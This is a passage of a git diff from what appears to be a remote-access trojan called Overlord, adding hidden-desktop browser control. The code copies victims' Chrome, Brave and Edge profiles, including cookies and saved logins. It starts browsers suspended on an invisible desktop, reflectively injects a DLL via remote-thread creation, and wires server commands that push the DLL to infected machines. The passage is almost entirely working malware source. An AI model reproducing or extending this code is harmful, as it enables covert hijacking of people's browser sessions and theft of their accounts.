directory", info.name) + } + log.Printf("hvnc %s: real user data at %s", info.name, realUserData) + + cloneDir, err := cloneBrowserProfile(info.name, realUserData) + if err != nil { + return fmt.Errorf("profile clone failed: %v", err) + } + log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir) + + return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir) +} + +// StartHVNCChromeInjected is kept for backward compatibility. +func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { + return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true) +} + +type browserInfo struct { + name string + exePaths []string // candidate exe locations (env vars expanded at runtime) + userData string // relative to LOCALAPPDATA (or APPDATA for Firefox) + useAppData bool // true = use APPDATA instead of LOCALAPPDATA +} + +var browserInfoMap = map[string]browserInfo{ + "chrome": { + name: "Chrome", + exePaths: []string{ + `\Google\Chrome\Application\chrome.exe`, + }, + userData: `Google\Chrome\User Data`, + }, + "brave": { + name: "Brave", + exePaths: []string{ + `\BraveSoftware\Brave-Browser\Application\brave.exe`, + }, + userData: `BraveSoftware\Brave-Browser\User Data`, + }, + "edge": { + name: "Edge", + exePaths: []string{ + `\Microsoft\Edge\Application\msedge.exe`, + }, + userData: `Microsoft\Edge\User Data`, + }, +} + +func findBrowserExe(info browserInfo) string { + roots := []string{ + os.Getenv("ProgramFiles"), + os.Getenv("ProgramFiles(x86)"), + os.Getenv("LOCALAPPDATA"), + } + for _, root := range roots { + if root == "" { + continue + } + for _, suffix := range info.exePaths { + p := root + suffix + if _, err := os.Stat(p); err == nil { + return p + } + } + } + return "" +} + +func getBrowserUserDataDir(info browserInfo) string { + base := os.Getenv("LOCALAPPDATA") + if info.useAppData { + base = os.Getenv("APPDATA") + } + if base == "" { + return "" + } + dir := filepath.Join(base, info.userData) + if fi, err := os.Stat(dir); err == nil && fi.IsDir() { + return dir + } + return "" +} + +// cloneBrowserProfile clones the browser user data directory, skipping only +// large cache directories that aren't needed for a functional session. +// This preserves extensions, cookies, login data, local storage, etc. +func cloneBrowserProfile(browserName string, srcUserData string) (string, error) { + prefix := "hvnc_" + strings.ToLower(browserName) + "_" + // Remove any previous cloned profile directories so we always use fresh data + tmpDir := os.TempDir() + if old, err := os.ReadDir(tmpDir); err == nil { + for _, e := range old { + if strings.HasPrefix(e.Name(), prefix) && e.IsDir() { + p := filepath.Join(tmpDir, e.Name()) + log.Printf("hvnc %s: removing old clone %s", browserName, p) + os.RemoveAll(p) + } + } + } + + cloneBase := filepath.Join(tmpDir, prefix+fmt.Sprintf("%d", time.Now().UnixNano())) + if err := os.MkdirAll(cloneBase, 0700); err != nil { + return "", fmt.Errorf("mkdir clone: %v", err) + } + + // Directories to skip — these are large caches that aren't needed + skipDirs := map[string]bool{ + "cache": true, + "code cache": true, + "gpucache": true, + "service worker": true, + "crashpad": true, + "blob_storage": true, + "jumplisterrors": true, + "optimization_guide_prediction_model_downloads": true, + "segmentation_platform": true, + "commerce_local_db": true, + } + + entries, err := os.ReadDir(srcUserData) + if err != nil { + return "", fmt.Errorf("read user data dir: %v", err) + } + + for _, entry := range entries { + name := entry.Name() + src := filepath.Join(srcUserData, name) + dst := filepath.Join(cloneBase, name) + + if entry.IsDir() { + // For profile directories (Default, Profile N), clone contents but skip caches inside + isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ") + if isProfile { + if err := cloneProfileDir(browserName, src, dst, skipDirs); err != nil { + log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err) + } + } else if !skipDirs[strings.ToLower(name)] { + // Top-level non-profile directories (e.g. "Crashpad" skip, but keep others) + if err := copyDir(src, dst); err != nil { + log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err) + } + } + } else { + // Top-level files (Local State, etc.) + if err := copyFile(src, dst); err != nil { + log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err) + } + } + } + + return cloneBase, nil +} + +// cloneProfileDir copies a profile directory (e.g. Default/) skipping cache subdirs. +func cloneProfileDir(browserName, src, dst string, skipDirs map[string]bool) error { + if err := os.MkdirAll(dst, 0700); err != nil { + return err + } + entries, err := os.ReadDir(src) + if err != nil { + return err + } + for _, entry := range entries { + name := entry.Name() + s := filepath.Join(src, name) + d := filepath.Join(dst, name) + + if entry.IsDir() { + if skipDirs[strings.ToLower(name)] { + continue + } + if err := copyDir(s, d); err != nil { + log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err) + } + } else { + if err := copyFile(s, d); err != nil { + log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err) + } + } + } + return nil +} + +func copyFile(src, dst string) error { + in, err := os.Open(src) + if err != nil { + return err + } + defer in.Close() + + if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil { + return err + } + out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) + if err != nil { + return err + } + defer out.Close() + + _, err = io.Copy(out, in) + return err +} + +func copyDir(src, dst string) error { + return filepath.Walk(src, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil // skip errors + } + rel, _ := filepath.Rel(src, path) + target := filepath.Join(dst, rel) + if info.IsDir() { + return os.MkdirAll(target, 0700) + } + return copyFile(path, target) + }) +} + +func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error { + if filePath == "" { + return fmt.Errorf("empty file path") + } + if len(dllBytes) == 0 { + return fmt.Errorf("empty DLL bytes") + } + + enableDebugPrivilege() + + // Create the process suspended on the HVNC desktop + hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath) + if err != nil { + return fmt.Errorf("failed to create suspended process: %v", err) + } + log.Printf("hvnc inject: created suspended process PID %d", pid) + + // Inject the reflective DLL + if err := reflectiveInject(hProcess, dllBytes); err != nil { + procCloseHandle.Call(hProcess) + procCloseHandle.Call(hThread) + // Try to kill the process + terminateProcess(hProcess) + return fmt.Errorf("DLL injection failed: %v", err) + } + log.Printf("hvnc inject: DLL injected into PID %d", pid) + + procCloseHandle.Call(hProcess) + + // Resume the main thread + ret, _, _ := procResumeThread.Call(hThread) + if ret == 0xFFFFFFFF { + procCloseHandle.Call(hThread) + return fmt.Errorf("failed to resume thread") + } + procCloseHandle.Call(hThread) + + log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid) + return nil +} + +func terminateProcess(hProcess uintptr) { + kernel32.NewProc("TerminateProcess").Call(hProcess, 1) +} + +func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (hProcess, hThread uintptr, pid uint32, err error) { + desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) + if err != nil { + return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err) + } + cmdLine, err := syscall.UTF16FromString(filePath + " --window-position=0,0") + if err != nil { + return 0, 0, 0, fmt.Errorf("failed to convert command line: %v", err) + } + + var si startupInfo + var pi processInformation + si.cb = uint32(unsafe.Sizeof(si)) + si.lpDesktop = desktopNamePtr + si.dwX = 0 + si.dwY = 0 + si.dwFlags = STARTF_USEPOSITION + + envBlock, err := buildEnvironmentBlock(searchPath, replacePath) + if err != nil { + return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err) + } + + ret, _, callErr := procCreateProcessW.Call( + 0, + uintptr(unsafe.Pointer(&cmdLine[0])), + 0, + 0, + 0, + uintptr(CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT), + uintptr(unsafe.Pointer(&envBlock[0])), + 0, + uintptr(unsafe.Pointer(&si)), + uintptr(unsafe.Pointer(&pi)), + ) + if ret == 0 { + if callErr != nil { + return 0, 0, 0, fmt.Errorf("CreateProcess failed: %v", callErr) + } + return 0, 0, 0, fmt.Errorf("CreateProcess failed") + } + + return pi.hProcess, pi.hThread, pi.dwProcessId, nil +} + +func buildEnvironmentBlock(searchPath, replacePath string) ([]uint16, error) { + envStrings := syscall.Environ() + + envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath) + envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath) + + var block []uint16 + for _, s := range envStrings { + u, err := syscall.UTF16FromString(s) + if err != nil { + continue + } + block = append(block, u...) + } + block = append(block, 0) + return block, nil +} + +func reflectiveInject(hProcess uintptr, dllBytes []byte) error { + loaderOffset, err := findReflectiveLoaderOffset(dllBytes) + if err != nil { + return fmt.Errorf("failed to find ReflectiveLoader: %v", err) + } + log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset) + + remoteBase, _, _ := procVirtualAllocEx.Call( + hProcess, + 0, + uintptr(len(dllBytes)), + MEM_RESERVE|MEM_COMMIT, + PAGE_EXECUTE_READWRITE, + ) + if remoteBase == 0 { + return fmt.Errorf("VirtualAllocEx failed") + } + + var bytesWritten uintptr + ret, _, _ := procWriteProcessMemory.Call( + hProcess, + remoteBase, + uintptr(unsafe.Pointer(&dllBytes[0])), + uintptr(len(dllBytes)), + uintptr(unsafe.Pointer(&bytesWritten)), + ) + if ret == 0 { + return fmt.Errorf("WriteProcessMemory failed") + } + + remoteLoader := remoteBase + uintptr(loaderOffset) + + var threadID uintptr + hThread, _, _ := procCreateRemoteThread.Call( + hProcess, + 0, + 1024*1024, + remoteLoader, + 0, + 0, + uintptr(unsafe.Pointer(&threadID)), + ) + if hThread == 0 { + return fmt.Errorf("CreateRemoteThread failed") + } + + procWaitForSingleObject.Call(hThread, INFINITE_WAIT) + procCloseHandle.Call(hThread) + + return nil +} + +func findReflectiveLoaderOffset(pe []byte) (uint32, error) { + if len(pe) < 64 { + return 0, fmt.Errorf("PE too small") + } + + if pe[0] != 'M' || pe[1] != 'Z' { + return 0, fmt.Errorf("invalid DOS signature") + } + lfanew := binary.LittleEndian.Uint32(pe[60:64]) + if int(lfanew)+4 > len(pe) { + return 0, fmt.Errorf("invalid e_lfanew") + } + + sig := binary.LittleEndian.Uint32(pe[lfanew : lfanew+4]) + if sig != 0x00004550 { + return 0, fmt.Errorf("invalid PE signature") + } + + coffOff := lfanew + 4 + if int(coffOff)+20 > len(pe) { + return 0, fmt.Errorf("PE too small for COFF header") + } + numberOfSections := binary.LittleEndian.Uint16(pe[coffOff+2 : coffOff+4]) + sizeOfOptionalHeader := binary.LittleEndian.Uint16(pe[coffOff+16 : coffOff+18]) + + optOff := coffOff + 20 + if int(optOff)+2 > len(pe) { + return 0, fmt.Errorf("PE too small for optional header") + } + magic := binary.LittleEndian.Uint16(pe[optOff : optOff+2]) + + var exportDirRVA uint32 + switch magic { + case IMAGE_NT_OPTIONAL_HDR64_MAGIC: + ddOff := optOff + 112 + if int(ddOff)+8 > len(pe) { + return 0, fmt.Errorf("PE too small for data directory") + } + exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4]) + case IMAGE_NT_OPTIONAL_HDR32_MAGIC: + // PE32 - export directory is at offset 96 in optional header + ddOff := optOff + 96 + if int(ddOff)+8 > len(pe) { + return 0, fmt.Errorf("PE too small for data directory") + } + exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4]) + default: + return 0, fmt.Errorf("unsupported PE magic: 0x%x", magic) + } + + if exportDirRVA == 0 { + return 0, fmt.Errorf("no export directory") + } + + sectionOff := optOff + uint32(sizeOfOptionalHeader) + + exportDirFileOff := rvaToFileOffset(exportDirRVA, pe, sectionOff, numberOfSections) + if exportDirFileOff == 0 { + return 0, fmt.Errorf("failed to resolve export directory RVA") + } + + if int(exportDirFileOff)+40 > len(pe) { + return 0, fmt.Errorf("PE too small for export directory") + } + numberOfNames := binary.LittleEndian.Uint32(pe[exportDirFileOff+24 : exportDirFileOff+28]) + addressOfFunctionsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+28 : exportDirFileOff+32]) + addressOfNamesRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+32 : exportDirFileOff+36]) + addressOfNameOrdinalsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+36 : exportDirFileOff+40]) + + namesOff := rvaToFileOffset(addressOfNamesRVA, pe, sectionOff, numberOfSections) + funcsOff := rvaToFileOffset(addressOfFunctionsRVA, pe, sectionOff, numberOfSections) + ordinalsOff := rvaToFileOffset(addressOfNameOrdinalsRVA, pe, sectionOff, numberOfSections) + if namesOff == 0 || funcsOff == 0 || ordinalsOff == 0 { + return 0, fmt.Errorf("failed to resolve export table RVAs") + } + + for i := uint32(0); i < numberOfNames; i++ { + nameRVA := binary.LittleEndian.Uint32(pe[namesOff+i*4 : namesOff+i*4+4]) + nameFileOff := rvaToFileOffset(nameRVA, pe, sectionOff, numberOfSections) + if nameFileOff == 0 { + continue + } + + name := readCString(pe, nameFileOff) + if contains(name, "ReflectiveLoader") { + ordinal := binary.LittleEndian.Uint16(pe[ordinalsOff+i*2 : ordinalsOff+i*2+2]) + funcRVA := binary.LittleEndian.Uint32(pe[funcsOff+uint32(ordinal)*4 : funcsOff+uint32(ordinal)*4+4]) + return rvaToFileOffset(funcRVA, pe, sectionOff, numberOfSections), nil + } + } + + return 0, fmt.Errorf("ReflectiveLoader export not found") +} + +func rvaToFileOffset(rva uint32, pe []byte, sectionOff uint32, numSections uint16) uint32 { + for i := uint16(0); i < numSections; i++ { + off := sectionOff + uint32(i)*40 + if int(off)+40 > len(pe) { + break + } + virtualSize := binary.LittleEndian.Uint32(pe[off+8 : off+12]) + virtualAddr := binary.LittleEndian.Uint32(pe[off+12 : off+16]) + rawDataSize := binary.LittleEndian.Uint32(pe[off+16 : off+20]) + rawDataPtr := binary.LittleEndian.Uint32(pe[off+20 : off+24]) + _ = virtualSize + + if rva >= virtualAddr && rva < virtualAddr+rawDataSize { + return rva - virtualAddr + rawDataPtr + } + } + if numSections > 0 { + firstSectionRawPtr := binary.LittleEndian.Uint32(pe[sectionOff+20 : sectionOff+24]) + if rva < firstSectionRawPtr { + return rva + } + } + return 0 +} + +func readCString(data []byte, offset uint32) string { + end := offset + for int(end) < len(data) && data[end] != 0 { + end++ + } + return string(data[offset:end]) +} + +func contains(s, substr string) bool { + if len(substr) > len(s) { + return false + } + for i := 0; i <= len(s)-len(substr); i++ { + if s[i:i+len(substr)] == substr { + return true + } + } + return false +} diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 7b5338c..fe13a6f 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -174,6 +174,7 @@ type hvncTaskKind int const ( hvncTaskCapture hvncTaskKind = iota hvncTaskStartProcess + hvncTaskStartProcessInjected hvncTaskMouseMove hvncTaskMouseDown hvncTaskMouseUp @@ -183,17 +184,20 @@ const ( ) type hvncTask struct { - kind hvncTaskKind - id uint64 - display int - filePath string - x int32 - y int32 - button int - vk uint16 - delta int32 - queuedAt time.Time - resp chan hvncTaskResult + kind hvncTaskKind + id uint64 + display int + filePath string + x int32 + y int32 + button int + vk uint16 + delta int32 + dllBytes []byte + searchPath string + replacePath string + queuedAt time.Time + resp chan hvncTaskResult } type hvncTaskResult struct { @@ -412,6 +416,8 @@ func ensureHVNCThread() error { switch task.kind { case hvncTaskStartProcess: result.err = startHVNCProcessOnThread(task.filePath) + case hvncTaskStartProcessInjected: + result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath) case hvncTaskMouseMove: result.err = hvncMouseMoveOnThread(task.display, task.x, task.y) case hvncTaskMouseDown: @@ -580,7 +586,7 @@ func hvncThreadWatchdog() { func shouldTraceHVNCTask(kind hvncTaskKind) bool { switch kind { - case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess: + case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected: return true default: return false @@ -593,6 +599,8 @@ func hvncTaskKindName(kind hvncTaskKind) string { return "capture" case hvncTaskStartProcess: return "start_process" + case hvncTaskStartProcessInjected: + return "start_process_injected" case hvncTaskMouseMove: return "mouse_move" case hvncTaskMouseDown: @@ -620,6 +628,8 @@ func hvncTaskDetails(task hvncTask) string { return fmt.Sprintf("delta=%d", task.delta) case hvncTaskStartProcess: return fmt.Sprintf("cmd=%q", task.filePath) + case hvncTaskStartProcessInjected: + return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes)) default: return "" } @@ -1148,18 +1158,17 @@ func endHVNCWindowDrag(screenPt point) { func hvncMouseWheelOnThread(delta int32) error { pt := currentHVNCCursor() - hwnd := getWorkingWindow() + hwnd := windowFromPoint(pt) if hwnd == 0 { - hwnd = windowFromPoint(pt) + hwnd = getWorkingWindow() if hwnd == 0 { return nil } - setWorkingWindow(hwnd) } - clientPt := pt - procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt))) - wparam := uintptr(uint16(delta)) << 16 - procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(clientPt.x, clientPt.y)) + // WM_MOUSEWHEEL: wparam high word = delta, low word = button/key state + // WM_MOUSEWHEEL: lparam = screen coordinates (NOT client coordinates) (I wanna fucking kms) + wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons()) + procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y)) return nil } diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index e387e3d..8d8e698 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -444,6 +444,21 @@ func writeVoiceDownlink(data []byte) error { return nil } +func extractDLLBytes(payload map[string]interface{}) []byte { + if payload == nil { + return nil + } + switch v := payload["dll"].(type) { + case []byte: + return v + case string: + if len(v) > 0 { + return []byte(v) + } + } + return nil +} + func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { cmdID, _ := envelope["id"].(string) action, _ := envelope["commandType"].(string) @@ -1267,6 +1282,92 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) return nil + case "hvnc_start_process_injected": + payload, _ := envelope["payload"].(map[string]interface{}) + filePath := "" + searchPath := "" + replacePath := "" + if payload != nil { + if v, ok := payload["path"].(string); ok { + filePath = v + } + if v, ok := payload["search_path"].(string); ok { + searchPath = v + } + if v, ok := payload["replace_path"].(string); ok { + replacePath = v + } + } + dllBytes := extractDLLBytes(payload) + if len(dllBytes) == 0 { + sendCommandResultSafe(env, cmdID, false, "no DLL provided") + return nil + } + log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes)) + sendCommandResultSafe(env, cmdID, true, "") + goSafe("hvnc_start_process_injected", nil, func() { + if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil { + log.Printf("hvnc: injected process failed for %q: %v", filePath, err) + } + }) + return nil + + case "hvnc_start_chrome_injected": + payload, _ := envelope["payload"].(map[string]interface{}) + chromePath := "" + if payload != nil { + if v, ok := payload["path"].(string); ok { + chromePath = v + } + } + dllBytes := extractDLLBytes(payload) + if len(dllBytes) == 0 { + sendCommandResultSafe(env, cmdID, false, "no DLL provided") + return nil + } + log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes)) + sendCommandResultSafe(env, cmdID, true, "") + goSafe("hvnc_start_chrome_injected", nil, func() { + if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil { + log.Printf("hvnc: chrome injected failed: %v", err) + } + }) + return nil + + case "hvnc_start_browser_injected": + payload, _ := envelope["payload"].(map[string]interface{}) + browser := "" + exePath := "" + clone := true + if payload != nil { + if v, ok := payload["browser"].(string); ok { + browser = v + } + if v, ok := payload["path"].(string); ok { + exePath = v + } + if v, ok := payload["clone"].(bool); ok { + clone = v + } + } + dllBytes := extractDLLBytes(payload) + if len(dllBytes) == 0 { + sendCommandResultSafe(env, cmdID, false, "no DLL provided") + return nil + } + if browser == "" { + sendCommandResultSafe(env, cmdID, false, "no browser specified") + return nil + } + log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v dllSize=%d", browser, exePath, clone, len(dllBytes)) + sendCommandResultSafe(env, cmdID, true, "") + goSafe("hvnc_start_browser_injected", nil, func() { + if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone); err != nil { + log.Printf("hvnc: browser injected failed for %q: %v", browser, err) + } + }) + return nil + case "webcam_start": env.WebcamMu.Lock() if env.WebcamCancel != nil { diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index c7868cb..252ada4 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -746,11 +746,14 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } else if (action === "start-powershell") { sendCmd("hvnc_start_process", { path: "conhost powershell.exe" }); } else if (action === "start-chrome") { - sendCmd("hvnc_start_process", { path: "c:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" }); + const clone = document.getElementById("hvncCloneToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone }); } else if (action === "start-brave") { - sendCmd("hvnc_start_process", { path: "c:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" }); + const clone = document.getElementById("hvncCloneToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "brave", clone }); } else if (action === "start-edge") { - sendCmd("hvnc_start_process", { path: "c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" }); + const clone = document.getElementById("hvncCloneToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "edge", clone }); } else if (action === "start-custom") { const exePath = prompt("Enter exe path (required)"); if (!exePath) { diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index a310d8c..5e975c6 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -152,6 +152,10 @@ class="hidden fixed z-50 min-w-[180px] rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl" >
Browsers
+